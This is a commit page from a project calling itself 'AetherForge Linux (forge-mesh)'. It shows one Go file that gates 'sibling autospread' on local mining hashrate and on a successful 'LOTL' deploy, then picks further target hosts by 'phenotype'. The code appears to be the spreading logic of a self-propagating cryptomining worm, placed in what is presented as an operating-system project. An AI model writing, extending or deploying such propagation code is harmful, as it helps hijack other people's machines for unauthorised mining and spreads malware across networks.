Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
Some checks failed
Test / test (push) Has been cancelled

This commit is contained in:
drjones
2026-07-04 09:31:23 +00:00
commit 3678b199d0
154 changed files with 21714 additions and 0 deletions

93
internal/fleet/earn.go Normal file
View File

@@ -0,0 +1,93 @@
package fleet
import (
"context"
"fmt"
"time"
)
// EarnBeforeBurnConfig gates sibling autospread until local mining proves viable.
type EarnBeforeBurnConfig struct {
MinHashrate float64 `json:"min_hashrate"`
MinDuration time.Duration `json:"min_duration"`
FirstTierOnly bool `json:"first_tier_only"`
}
// DefaultEarnConfig returns conservative earn-before-burn defaults.
func DefaultEarnConfig() EarnBeforeBurnConfig {
return EarnBeforeBurnConfig{
MinHashrate: 100.0,
MinDuration: 5 * time.Minute,
FirstTierOnly: true,
}
}
// EarnGate tracks local hashrate proof before sibling spread.
type EarnGate struct {
Store *Store
Config EarnBeforeBurnConfig
}
// SpreadDecision indicates whether sibling spread is allowed.
type SpreadDecision struct {
Allowed bool `json:"allowed"`
Reason string `json:"reason"`
LocalHashrate float64 `json:"local_hashrate"`
Siblings []string `json:"siblings,omitempty"`
}
// CanSpreadToSiblings checks hashrate gate before autospread to phenotype siblings.
func (g *EarnGate) CanSpreadToSiblings(ctx context.Context, hostID string) (*SpreadDecision, error) {
dec := &SpreadDecision{}
hr, err := g.Store.HostHashrate(ctx, hostID)
if err != nil {
dec.Reason = "host not found"
return dec, err
}
dec.LocalHashrate = hr
if hr < g.Config.MinHashrate {
dec.Reason = fmt.Sprintf("hashrate %.2f below threshold %.2f", hr, g.Config.MinHashrate)
return dec, nil
}
if g.Config.FirstTierOnly {
attempts, err := g.Store.ListLOTL(ctx, hostID, 50)
if err != nil {
return dec, err
}
hasSuccess := false
for _, a := range attempts {
if a.Phase == "deploy" && a.Status == "success" {
hasSuccess = true
break
}
}
if !hasSuccess {
dec.Reason = "first tier deploy has not succeeded yet"
return dec, nil
}
}
var phenotype string
err = g.Store.DB().QueryRowContext(ctx, `SELECT COALESCE(phenotype,'') FROM hosts WHERE id = ?`, hostID).Scan(&phenotype)
if err != nil {
dec.Reason = "phenotype unknown"
return dec, err
}
siblings, err := g.Store.SiblingHosts(ctx, hostID, phenotype)
if err != nil {
return dec, err
}
dec.Allowed = len(siblings) > 0
dec.Siblings = siblings
if !dec.Allowed {
dec.Reason = "no siblings in phenotype group"
} else {
dec.Reason = "earn-before-burn gate passed"
}
return dec, nil
}